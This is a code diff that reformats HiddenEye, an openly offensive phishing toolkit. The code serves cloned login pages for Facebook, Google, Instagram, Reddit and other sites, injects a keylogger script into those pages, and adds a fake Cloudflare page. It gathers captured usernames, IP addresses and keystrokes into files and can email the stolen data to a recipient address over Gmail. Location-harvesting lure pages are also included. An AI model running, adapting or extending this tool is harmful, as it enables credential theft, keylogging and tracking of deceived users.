@ -192,7 +192,8 @@ def start_main_menu():
module_loading_message("Reddit") module_loading_message("Reddit")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu( print_sorted_as_menu(
localization.lang_start_main_menu["reddit_operation_modes"]) localization.lang_start_main_menu["reddit_operation_modes"]
)
custom_option = input(global_localization.input_line) custom_option = input(global_localization.input_line)
start_phishing_page("Reddit", custom_option) start_phishing_page("Reddit", custom_option)
elif option == "36": elif option == "36":
@ -221,8 +222,10 @@ def start_main_menu():
module_loading_message("LOCATION") module_loading_message("LOCATION")
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu( print_sorted_as_menu(
localization. localization.lang_start_main_menu[
lang_start_main_menu["additional_module_location_operation_modes"]) "additional_module_location_operation_modes"
]
)
custom_option = input(global_localization.input_line) custom_option = input(global_localization.input_line)
start_phishing_page("LOCATION", custom_option) start_phishing_page("LOCATION", custom_option)
else: else:
@ -343,24 +346,40 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
elif page == "Xbox": elif page == "Xbox":
webpage_set("WebPages/xbox/", "Server/www/") webpage_set("WebPages/xbox/", "Server/www/")
elif page == "CUSTOM(1)": elif page == "CUSTOM(1)":
print(localization.lang_start_phishing_page["custom_folder_directory"].
format(page=page))
print( print(
localization.lang_start_phishing_page["manual_reading_suggestion"]. localization.lang_start_phishing_page["custom_folder_directory"].format(
format(page=page)) page=page
input(localization.lang_start_phishing_page[ )
"press_enter_to_continue_if_setup_correctly"]) )
print(
localization.lang_start_phishing_page["manual_reading_suggestion"].format(
page=page
)
)
input(
localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"
]
)
print(localization.lang_start_phishing_page["copying_your_files"]) print(localization.lang_start_phishing_page["copying_your_files"])
wait(3) wait(3)
webpage_set("WebPages/CUSTOM(1)/", "Server/www/") webpage_set("WebPages/CUSTOM(1)/", "Server/www/")
elif page == "CUSTOM(2)": elif page == "CUSTOM(2)":
print(localization.lang_start_phishing_page["custom_folder_directory"].
format(page=page))
print( print(
localization.lang_start_phishing_page["manual_reading_suggestion"]. localization.lang_start_phishing_page["custom_folder_directory"].format(
format(page=page)) page=page
input(localization.lang_start_phishing_page[ )
"press_enter_to_continue_if_setup_correctly"]) )
print(
localization.lang_start_phishing_page["manual_reading_suggestion"].format(
page=page
)
)
input(
localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"
]
)
print(localization.lang_start_phishing_page["copying_your_files"]) print(localization.lang_start_phishing_page["copying_your_files"])
wait(3) wait(3)
webpage_set("WebPages/CUSTOM(2)/", "Server/www/") webpage_set("WebPages/CUSTOM(2)/", "Server/www/")
@ -370,15 +389,21 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
wait(3) wait(3)
webpage_set("WebPages/TOOLS/nearyou", "Server/www/") webpage_set("WebPages/TOOLS/nearyou", "Server/www/")
print(localization.lang_start_phishing_page["https_suggestion"]) print(localization.lang_start_phishing_page["https_suggestion"])
input(localization.lang_start_phishing_page[ input(
"press_enter_to_continue_if_setup_correctly"]) localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"
]
)
elif custom_option == "2" and page == "LOCATION": elif custom_option == "2" and page == "LOCATION":
wait(3) wait(3)
webpage_set("WebPages/TOOLS/gdrive", "Server/www/") webpage_set("WebPages/TOOLS/gdrive", "Server/www/")
print(localization.lang_start_phishing_page["https_suggestion"]) print(localization.lang_start_phishing_page["https_suggestion"])
print(localization.lang_start_phishing_page["gdrive_suggestion"]) print(localization.lang_start_phishing_page["gdrive_suggestion"])
input(localization.lang_start_phishing_page[ input(
"press_enter_to_continue_if_setup_correctly"]) localization.lang_start_phishing_page[
"press_enter_to_continue_if_setup_correctly"
]
)
else: else:
run_command("clear") run_command("clear")
@ -387,18 +412,18 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
start_main_menu() start_main_menu()
def enter_custom_redirecting_url( def enter_custom_redirecting_url(): # Question where user can input custom web-link
): # Question where user can input custom web-link
run_command("clear") run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link) print(global_localization.official_website_link)
print(global_localization.by_darksec) print(global_localization.by_darksec)
print(localization. print(
lang_enter_custom_redirecting_url["enter_redirecting_url_header"]) localization.lang_enter_custom_redirecting_url["enter_redirecting_url_header"]
print(localization. )
lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"]) print(
custom = input( localization.lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"]
localization.lang_enter_custom_redirecting_url["redirect_here"]) )
custom = input(localization.lang_enter_custom_redirecting_url["redirect_here"])
if "http://" in custom or "https://" in custom: if "http://" in custom or "https://" in custom:
pass pass
else: else:
@ -413,8 +438,7 @@ def enter_custom_redirecting_url(
f.write(c) f.write(c)
f.close() f.close()
if path.exists("Server/www/post.php") and path.exists( if path.exists("Server/www/post.php") and path.exists("Server/www/login.php"):
"Server/www/login.php"):
with open("Server/www/login.php") as f: with open("Server/www/login.php") as f:
read_data = f.read() read_data = f.read()
c = read_data.replace("<CUSTOM>", custom) c = read_data.replace("<CUSTOM>", custom)

View File

@ -67,12 +67,10 @@ def exit_message(port=80): # Message when HiddenEye exit
run_command("clear") run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(" " + global_localization.by_darksec) print(" " + global_localization.by_darksec)
print(" " + print(" " + global_localization.official_website_link)
global_localization.official_website_link)
print(localization.lang_exit_message["help_to_improve_this_tool"]) print(localization.lang_exit_message["help_to_improve_this_tool"])
print(localization.lang_exit_message["tell_if_page_got_broken"]) print(localization.lang_exit_message["tell_if_page_got_broken"])
print( print(localization.lang_exit_message["make_your_pull_request_or_issue"])
localization.lang_exit_message["make_your_pull_request_or_issue"])
print(localization.lang_exit_message["small_disclaimer_suggestion"]) print(localization.lang_exit_message["small_disclaimer_suggestion"])
print(localization.lang_exit_message["forum_suggestion"]) print(localization.lang_exit_message["forum_suggestion"])
print(localization.lang_exit_message["financial_support"]) print(localization.lang_exit_message["financial_support"])
@ -92,15 +90,15 @@ def terms_of_service_message():
if not agreement: if not agreement:
print(localization.lang_terms_of_service_message["GPL_3.0"]) print(localization.lang_terms_of_service_message["GPL_3.0"])
print( print(
localization.lang_terms_of_service_message["great_power_great_responsibility"]) localization.lang_terms_of_service_message[
print(localization. "great_power_great_responsibility"
lang_terms_of_service_message["do_you_accept_license"]) ]
print(localization. )
lang_terms_of_service_message["enter_this_to_confirm"]) print(localization.lang_terms_of_service_message["do_you_accept_license"])
print(localization.lang_terms_of_service_message["enter_this_to_confirm"])
agreement = input(global_localization.input_line) agreement = input(global_localization.input_line)
if localization.text_to_confirm_license not in agreement: if localization.text_to_confirm_license not in agreement:
print(localization. print(localization.lang_terms_of_service_message["you_are_not_allowed"])
lang_terms_of_service_message["you_are_not_allowed"])
exit() exit()
else: else:
eula = open("eula.txt", "w") eula = open("eula.txt", "w")
@ -124,14 +122,14 @@ def credentials_collector():
with open("Server/www/usernames.txt") as creds: with open("Server/www/usernames.txt") as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(localization. log_writer(
lang_credentials_collector["credentials_found"] + localization.lang_credentials_collector["credentials_found"]
"{0}{2}{1}".format(default_palette[2], + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)
default_palette[3], lines)) )
pathlib_Path("Server/CapturedData/usernames.txt").touch( pathlib_Path("Server/CapturedData/usernames.txt").touch(
mode=0o777, exist_ok=True) mode=0o777, exist_ok=True
captured_usernames = open("Server/CapturedData/usernames.txt", )
"a") captured_usernames = open("Server/CapturedData/usernames.txt", "a")
new_usernames = open("Server/www/usernames.txt") new_usernames = open("Server/www/usernames.txt")
captured_usernames.write(new_usernames.read()) captured_usernames.write(new_usernames.read())
new_usernames.close() new_usernames.close()
@ -148,12 +146,13 @@ def credentials_collector():
with open("Server/www/ip.txt") as creds: with open("Server/www/ip.txt") as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(localization. log_writer(
lang_credentials_collector["device_details_found"] + localization.lang_credentials_collector["device_details_found"]
"{0}{2}{1}".format(default_palette[2], + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)
default_palette[3], lines)) )
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, pathlib_Path("Server/CapturedData/ip.txt").touch(
exist_ok=True) mode=0o777, exist_ok=True
)
captured_ips = open("Server/CapturedData/ip.txt", "a") captured_ips = open("Server/CapturedData/ip.txt", "a")
new_ips = open("Server/www/ip.txt") new_ips = open("Server/www/ip.txt")
captured_ips.write(new_ips.read()) captured_ips.write(new_ips.read())
@ -173,14 +172,14 @@ def credentials_collector():
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(global_localization.line_of_dots) log_writer(global_localization.line_of_dots)
log_writer(localization. log_writer(
lang_credentials_collector["getting_pressed_keys"] + localization.lang_credentials_collector["getting_pressed_keys"]
"{0}{2}{1}".format(default_palette[2], + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)
default_palette[3], lines)) )
pathlib_Path("Server/CapturedData/KeyloggerData.txt").touch( pathlib_Path("Server/CapturedData/KeyloggerData.txt").touch(
mode=0o777, exist_ok=True) mode=0o777, exist_ok=True
captured_keys = open("Server/CapturedData/KeyloggerData.txt", )
"a") captured_keys = open("Server/CapturedData/KeyloggerData.txt", "a")
new_keys = open("Server/www/KeyloggerData.txt") new_keys = open("Server/www/KeyloggerData.txt")
captured_keys.write(new_keys.read()) captured_keys.write(new_keys.read())
new_keys.close() new_keys.close()
@ -206,9 +205,13 @@ def log_writer(ctx): # Writing log
""" """
log_file = open("log.txt", "w") log_file = open("log.txt", "w")
log_file.write( log_file.write(
ctx.replace(default_palette[0], "").replace( ctx.replace(default_palette[0], "")
default_palette[1], "").replace(default_palette[2], "").replace( .replace(default_palette[1], "")
default_palette[3], "").replace(default_palette[4], "") + "\n") .replace(default_palette[2], "")
.replace(default_palette[3], "")
.replace(default_palette[4], "")
+ "\n"
)
print(ctx) print(ctx)
@ -256,8 +259,7 @@ def global_message():
print(global_localization.line_of_dots) print(global_localization.line_of_dots)
def verify_connection( def verify_connection(host="https://dark-sec-official.com"): # Connection check
host="https://dark-sec-official.com"): # Connection check
run_command("clear") run_command("clear")
try: try:
req = requests.get(host, timeout=25) req = requests.get(host, timeout=25)
@ -276,16 +278,12 @@ def verify_connection(
elif internet_choice == "n": elif internet_choice == "n":
run_command("clear") run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(" " + print(" " + global_localization.by_darksec)
global_localization.by_darksec) print(" " + global_localization.official_website_link)
print(" " +
global_localization.official_website_link)
print(localization.lang_exit_message["help_to_improve_this_tool"]) print(localization.lang_exit_message["help_to_improve_this_tool"])
print(localization.lang_exit_message["tell_if_page_got_broken"]) print(localization.lang_exit_message["tell_if_page_got_broken"])
print( print(localization.lang_exit_message["make_your_pull_request_or_issue"])
localization.lang_exit_message["make_your_pull_request_or_issue"]) print(localization.lang_exit_message["small_disclaimer_suggestion"])
print(
localization.lang_exit_message["small_disclaimer_suggestion"])
print(localization.lang_exit_message["forum_suggestion"]) print(localization.lang_exit_message["forum_suggestion"])
print(localization.lang_exit_message["financial_support"]) print(localization.lang_exit_message["financial_support"])
print(localization.lang_exit_message["thank_you"]) print(localization.lang_exit_message["thank_you"])

View File

@ -6,7 +6,15 @@
# #
from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile from Defs.ImportManager.unsorted_will_be_replaced import (
run_command,
wait,
path,
system,
getpass,
base64,
copyfile,
)
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
default_palette = theme.default_palette default_palette = theme.default_palette
@ -15,74 +23,109 @@ default_palette = theme.default_palette
# Ask user to start sending credentials to recipient Email Address. # Ask user to start sending credentials to recipient Email Address.
def captured_data_email_confirmation(port): def captured_data_email_confirmation(port):
import Defs.ActionManager.simple_informant as simple_informant import Defs.ActionManager.simple_informant as simple_informant
choice = input( choice = input(
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format( "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(
default_palette[0], default_palette[4], default_palette[2])).upper() default_palette[0], default_palette[4], default_palette[2]
if choice == 'Y' or choice == 'y': )
if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py'): ).upper()
system('python3 Defs/FeatureManager/EmailManager/SendEmail.py') if choice == "Y" or choice == "y":
if path.isfile("Defs/FeatureManager/EmailManager/emailconfig.py"):
system("python3 Defs/FeatureManager/EmailManager/SendEmail.py")
else: else:
print( print(
'[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.') "[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION."
)
wait(2) wait(2)
simple_informant.exit_message(port) simple_informant.exit_message(port)
elif choice == 'N' or choice == 'n': elif choice == "N" or choice == "n":
simple_informant.exit_message(port) simple_informant.exit_message(port)
else: else:
system('clear') system("clear")
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(default_palette[0], default_palette[4], print(
default_palette[2])) "\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(
default_palette[0], default_palette[4], default_palette[2]
)
)
wait(1) wait(1)
system('clear') system("clear")
return captured_data_email_confirmation(port) return captured_data_email_confirmation(port)
def captured_data_email_configuration_prompt(): def captured_data_email_configuration_prompt():
run_command('clear') run_command("clear")
print('''{1} print(
"""{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers {1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])) {0}** BY: {1}DARKSEC {0}**""".format(
default_palette[0], default_palette[2]
)
)
print( print(
"-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format( "-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(
default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
)
)
# run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py') # run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py', copyfile(
'Defs/FeatureManager/EmailManager/emailconfig.py') "Defs/FeatureManager/EmailManager/EmailConfigDefault.py",
"Defs/FeatureManager/EmailManager/emailconfig.py",
)
GMAILACCOUNT = input( GMAILACCOUNT = input(
"{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4])) "{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f: default_palette[0], default_palette[4]
)
)
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
read_data = f.read() read_data = f.read()
c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT) c = read_data.replace("GMAILACCOUNT", GMAILACCOUNT)
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w') f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
f.write(c) f.write(c)
f.close() f.close()
print("{0}[.] {1}Email Address Added To config File. !\n".format( print(
default_palette[0], default_palette[4])) "{0}[.] {1}Email Address Added To config File. !\n".format(
default_palette[0], default_palette[4]
)
)
GMAILPASSWORD = getpass.getpass( GMAILPASSWORD = getpass.getpass(
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4])) "{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f: default_palette[0], default_palette[4]
)
)
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
read_data = f.read() read_data = f.read()
GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode()) GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8')) GMAILPASSWORD = GMAILPASSWORD.decode("utf-8")
c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD) c = read_data.replace("GMAILPASSWORD", GMAILPASSWORD)
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w') f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
f.write(c) f.write(c)
f.close() f.close()
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(
default_palette[0], default_palette[4]))
RECIPIENTEMAIL = input(
"{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4]))
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
read_data = f.read()
c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL)
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
f.write(c)
f.close()
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0],
default_palette[4]))
print( print(
'\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format( "{0}[.] {1}Password(Encoded) Added To config File. !\n".format(
default_palette[0], default_palette[4])) default_palette[0], default_palette[4]
)
)
RECIPIENTEMAIL = input(
"{0}[{1}+{0}] Enter Recipient Email:{1} ".format(
default_palette[0], default_palette[4]
)
)
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
read_data = f.read()
c = read_data.replace("RECIPIENTEMAIL", RECIPIENTEMAIL)
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
f.write(c)
f.close()
print(
"{0}[.] {1}Recipient Email Address Added To config File. !\n".format(
default_palette[0], default_palette[4]
)
)
print(
"\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)".format(
default_palette[0], default_palette[4]
)
)

View File

@ -6,7 +6,14 @@
# #
from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, pathlib_Path, replace, copyfile, chmod from Defs.ImportManager.unsorted_will_be_replaced import (
wait,
run_command,
pathlib_Path,
replace,
copyfile,
chmod,
)
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
default_palette = theme.default_palette default_palette = theme.default_palette
@ -15,16 +22,19 @@ default_palette = theme.default_palette
def add_cloudfare(): def add_cloudfare():
# run_command('mv Server/www/index.* Server/www/home.php & # run_command('mv Server/www/index.* Server/www/home.php &
# & cp WebPages/cloudfare.html Server/www/index.html') # & cp WebPages/cloudfare.html Server/www/index.html')
chmod('Server', 0o777) chmod("Server", 0o777)
chmod('Server/www', 0o777) chmod("Server/www", 0o777)
try: try:
replace('Server/www/index.php', 'Server/www/home.php') replace("Server/www/index.php", "Server/www/home.php")
except: except:
replace('Server/www/index.html', 'Server/www/home.php') replace("Server/www/index.html", "Server/www/home.php")
else: else:
print('Unable to find index file, skipping...') print("Unable to find index file, skipping...")
return return
copyfile('WebPages/cloudflare.html', 'Server/www/index.html') copyfile("WebPages/cloudflare.html", "Server/www/index.html")
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format( print(
default_palette[0], default_palette[4])) "\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(
default_palette[0], default_palette[4]
)
)
wait(1) wait(1)

View File

@ -13,25 +13,33 @@ default_palette = theme.default_palette
def add_keylogger(): def add_keylogger():
if path.exists('Server/www/index.html'): if path.exists("Server/www/index.html"):
with open('Server/www/index.html') as f: with open("Server/www/index.html") as f:
read_data = f.read() read_data = f.read()
c = read_data.replace( c = read_data.replace(
'</title>', '</title><script src="keylogger.js"></script>') "</title>", '</title><script src="keylogger.js"></script>'
f = open('Server/www/index.html', 'w') )
f = open("Server/www/index.html", "w")
f.write(c) f.write(c)
f.close() f.close()
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format( print(
default_palette[0], default_palette[4])) "\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
default_palette[0], default_palette[4]
)
)
wait(2) wait(2)
else: else:
with open('Server/www/index.php') as f: with open("Server/www/index.php") as f:
read_data = f.read() read_data = f.read()
c = read_data.replace( c = read_data.replace(
'</title>', '</title><script src="keylogger.js"></script>') "</title>", '</title><script src="keylogger.js"></script>'
f = open('Server/www/index.php', 'w') )
f = open("Server/www/index.php", "w")
f.write(c) f.write(c)
f.close() f.close()
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format( print(
default_palette[0], default_palette[4])) "\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
default_palette[0], default_palette[4]
)
)
wait(2) wait(2)

View File

@ -14,5 +14,8 @@ default_palette = theme.default_palette
def print_sorted_as_menu(sorting_list): def print_sorted_as_menu(sorting_list):
col_width = max(len(word) for row in sorting_list for word in row) + 2 col_width = max(len(word) for row in sorting_list for word in row) + 2
for row in sorting_list: for row in sorting_list:
print("".join(word.ljust(col_width) print(
for word in row).format(default_palette[0], default_palette[2])) "".join(word.ljust(col_width) for word in row).format(
default_palette[0], default_palette[2]
)
)

View File

@ -21,24 +21,22 @@ def check_version(): # WILL BE MOVED FROM HERE
version = check_version() version = check_version()
lang_start_main_menu = { lang_start_main_menu = {
"version_by_darksec": "version_by_darksec": _(
_(" {2}[{0}v {3}{2}]{0} BY:DARKSEC{1}" " {2}[{0}v {3}{2}]{0} BY:DARKSEC{1}"
).format(default_palette[4], default_palette[2], default_palette[0], ).format(default_palette[4], default_palette[2], default_palette[0], version),
version), "short_description": _(
"short_description": "{1}[{0} Modern Phishing Tool With Advanced Functionality {1}]"
_("{1}[{0} Modern Phishing Tool With Advanced Functionality {1}]").format( ).format(default_palette[2], default_palette[0]),
default_palette[2], default_palette[0]), "features_summary": _(
"features_summary": "{1}[{0} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {1}]"
_("{1}[{0} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {1}]" ).format(default_palette[2], default_palette[0]),
).format(default_palette[2], default_palette[0]), "down_line": "{0}________________________________________________________________________________".format(
"down_line": default_palette[0]
"{0}________________________________________________________________________________" ),
.format(default_palette[0]), "attack_vector_message": _(
"attack_vector_message": "------------------------\nSELECT ANY ATTACK VECTOR:\n------------------------"
_("------------------------\nSELECT ANY ATTACK VECTOR:\n------------------------" ),
), "phishing_modules_header": _("\n{0}PHISHING-MODULES:").format(default_palette[0]),
"phishing_modules_header":
_("\n{0}PHISHING-MODULES:").format(default_palette[0]),
"phishing_modules_list": [ "phishing_modules_list": [
[ [
"{0}[{1}01{0}]{1} Facebook", "{0}[{1}01{0}]{1} Facebook",
@ -89,10 +87,7 @@ lang_start_main_menu = {
"{0}[{1}21{0}]{1} Spotify", "{0}[{1}21{0}]{1} Spotify",
"{0}[{1}33{0}]{1} Verizon", "{0}[{1}33{0}]{1} Verizon",
], ],
[ ["{0}[{1}10{0}]{1} Yahoo", "{0}[{1}22{0}]{1} Quora", "{0}[{1}34{0}]{1} Yandex"],
"{0}[{1}10{0}]{1} Yahoo", "{0}[{1}22{0}]{1} Quora",
"{0}[{1}34{0}]{1} Yandex"
],
[ [
"{0}[{1}11{0}]{1} Twitch", "{0}[{1}11{0}]{1} Twitch",
"{0}[{1}23{0}]{1} PornHub", "{0}[{1}23{0}]{1} PornHub",
@ -104,22 +99,21 @@ lang_start_main_menu = {
"{0}[{1}36{0}]{1} Subito.it", "{0}[{1}36{0}]{1} Subito.it",
], ],
], ],
"additional_modules": "additional_modules": _("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]),
_("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]),
"additional_modules_list": [[_("{0}[{1}0A{0}]{1} Get Target Location")]], "additional_modules_list": [[_("{0}[{1}0A{0}]{1} Get Target Location")]],
"operation_mode": "operation_mode": _("\nOperation mode:\n"),
_("\nOperation mode:\n"),
"facebook_operation_modes": [ "facebook_operation_modes": [
[ [
_("{0}[{1}1{0}]{1} Standard Page Phishing"), _("{0}[{1}1{0}]{1} Standard Page Phishing"),
_("{0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode)" _("{0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode)"),
),
], ],
[ [
_("{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)" _(
), "{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)"
_("{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)" ),
), _(
"{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)"
),
], ],
], ],
"google_operation_modes": [ "google_operation_modes": [
@ -132,64 +126,69 @@ lang_start_main_menu = {
"instagram_operation_modes": [ "instagram_operation_modes": [
[ [
_("{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing"), _("{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing"),
_("{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)" _(
), "{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)"
),
], ],
[ [
_("{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)" _("{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)"),
),
_("{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)"), _("{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)"),
], ],
[ [
_("{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)" _(
) "{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)"
)
], ],
], ],
"VK_operation_modes": [[ "VK_operation_modes": [
_("{0}[{1}1{0}]{1} Standard VK Web Page Phishing"), [
_("{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)"), _("{0}[{1}1{0}]{1} Standard VK Web Page Phishing"),
]], _("{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)"),
"reddit_operation_modes": [[ ]
_("{0}[{1}1{0}]{1} New reddit page"), ],
_("{0}[{1}2{0}]{1} Old reddit page") "reddit_operation_modes": [
]], [_("{0}[{1}1{0}]{1} New reddit page"), _("{0}[{1}2{0}]{1} Old reddit page")]
"additional_module_location_operation_modes": [[ ],
_("{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)"), "additional_module_location_operation_modes": [
_("{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)" [
), _("{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)"),
]], _(
"{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)"
),
]
],
} }
lang_start_phishing_page = { lang_start_phishing_page = {
"custom_folder_directory": "custom_folder_directory": _(
_("\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}"). "\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}"
format(default_palette[0], default_palette[4], page="page"), ).format(default_palette[0], default_palette[4], page="page"),
"manual_reading_suggestion": "manual_reading_suggestion": _(
_("\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]" "\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]"
).format(default_palette[0], default_palette[4], page="page"), ).format(default_palette[0], default_palette[4], page="page"),
"press_enter_to_continue_if_setup_correctly": "press_enter_to_continue_if_setup_correctly": _(
_("\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue." "\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue."
).format(default_palette[0], default_palette[4]), ).format(default_palette[0], default_palette[4]),
"copying_your_files": "copying_your_files": _(
_("\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...").format( "\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder..."
default_palette[0], default_palette[4]), ).format(default_palette[0], default_palette[4]),
"https_suggestion": "https_suggestion": _(
_("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n" "\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n"
).format(default_palette[0], default_palette[4]), ).format(default_palette[0], default_palette[4]),
"gdrive_suggestion": "gdrive_suggestion": _(
_("{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked." "{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked."
).format(default_palette[0], default_palette[4]), ).format(default_palette[0], default_palette[4]),
} }
lang_enter_custom_redirecting_url = { lang_enter_custom_redirecting_url = {
"enter_redirecting_url_header": "enter_redirecting_url_header": _(
